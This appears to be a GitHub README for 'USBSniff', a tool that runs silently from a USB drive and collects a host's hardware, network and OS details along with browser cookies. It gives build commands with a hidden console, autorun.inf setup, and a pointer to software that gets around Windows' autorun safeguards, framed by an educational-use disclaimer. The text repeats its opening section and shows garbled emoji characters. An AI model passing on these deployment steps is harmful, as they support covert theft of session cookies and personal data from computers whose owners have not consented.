USBSniff - The Portable System Investigator ๐
A portable Python tool that automatically collects system information when a USB drive is inserted. For educational purposes and authorized security testing only.
๐ Table of Contents
- ๐ Quick Start
- ๐ฆ Installation
- โ๏ธ Features
- ๐ USB Setup
- โ ๏ธ Legal Disclaimer
- ๐ License
๐ Quick Start
Method 1: Using the Pre-Built Executable
USBSniff - The Portable System Investigator ๐
A portable Python tool that automatically collects system information when a USB drive is inserted. For educational purposes and authorized security testing only.
๐ Table of Contents
- ๐ Quick Start
- ๐ฆ Installation
- โ๏ธ Features
- ๐ USB Setup
- โ ๏ธ Legal Disclaimer
- ๐ License
๐ Quick Start
Method 1: Using the Pre-Built Executable
- Download
USBSniff.exefrom the Releases page - Format a USB drive as NTFS or FAT32
- Copy
USBSniff.exeto the root of your USB drive - Create an
autorun.inffile (see USB Setup section) - Insert the USB into any Windows PC
Method 2: Running from Source
# Clone the repository
git clone https://github.com/Davvois/USBSniff.git
cd USBSniff
# Install dependencies
pip install -r requirements.txt
# Run the tool
python USBSniff.py
๐ฆ Installation
Prerequisites
- Python 3.8 or higher
- pip (Python package manager)
Step-by-Step Setup
- Clone or download the repository
- Install dependencies using the requirements file:
pip install -r requirements.txt
- Run the script:
python USBSniff.py
Building an Executable
To create a standalone .exe file (optional):
# Install PyInstaller
pip install -U pyinstaller
# Build the executable
python -m PyInstaller --onefile --noconsole --name USBSniff USBSniff.py
# The executable will be in the 'dist' folder
โ๏ธ Features
System Information Collected
- Hardware Details: CPU model, cores, frequency, GPU information, total RAM
- Storage Information: Disk size, used space, file system type
- Operating System: Windows version, build number, hostname, installation
- Network Data: Public IP address, MAC address, network adapters
- Browser Detection: Identifies default browser and extracts relevant data
Output Format
The tool creates organized output in the Output/ directory:
PC_INFO_[hostname].txt- Human-readable system reportCOOKIES_[hostname].json- Structured browser data (if enabled)- Organized by computer hostname for easy identification
๐ USB Setup
Creating the autorun.inf File
For modern Windows systems (Windows Vista and later), the traditional autorun.inf method for USB drives is disabled by default for security reasons.
To create functional autorun installations on contemporary systems, youโll need specialized software.
I recommend using USB Autorun Generator, a tool designed to create autorun applications compatible with modern Windows security restrictions.
This program helps you build autorun interfaces that work within current system limitations.
๐ USB Autorun Generator Download Link
Note: Always ensure you have proper authorization before deploying autorun functionality on USB drives, as some security software may flag such behavior.
USB Directory Structure
Your_USB_Drive/
โโโ USBSniff.exe # Main executable
โโโ GeoLite2-City.mmdb # For IP GeoLocation
โโโ autorun.inf # Auto-run configuration
โโโ Output/ # Collected data (created automatically)
โโโ[HOSTNAME]/
Important Notes
- Modern Windows versions may require enabling AutoPlay in settings
- Some security software might block automatic execution
- The tool runs silently without visible windows
โ ๏ธ Legal Disclaimer
FOR EDUCATIONAL AND AUTHORIZED USE ONLY
This tool is intended for:
- โ Educational purposes in computer science and security
- โ Authorized penetration testing with written permission
- โ Personal system auditing on your own devices
- โ Forensic analysis in legal contexts
STRICTLY PROHIBITED:
- โ Unauthorized access to computer systems
- โ Testing systems without explicit permission
- โ Any malicious or illegal activities
- โ Violation of privacy laws and regulations
By using this software, you agree that:
- You are solely responsible for its use
- You will only use it on systems you own or have permission to test
- You comply with all applicable laws (CFAA, GDPR, etc.)
- The developer assume no liability for misuse
๐ License
This project is licensed under the MIT License - see the LICENSE file for complete details. Summary of MIT License:
- Permission is granted to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
- The software is provided "AS IS", without warranty of any kind
- The author is not liable for any claims, damages, or other liabilities
๐ Responsible Use
Always obtain proper authorization before testing any system. This tool is a learning resource, not a weapon.
Created with educational intent - Understanding system security starts with understanding system information.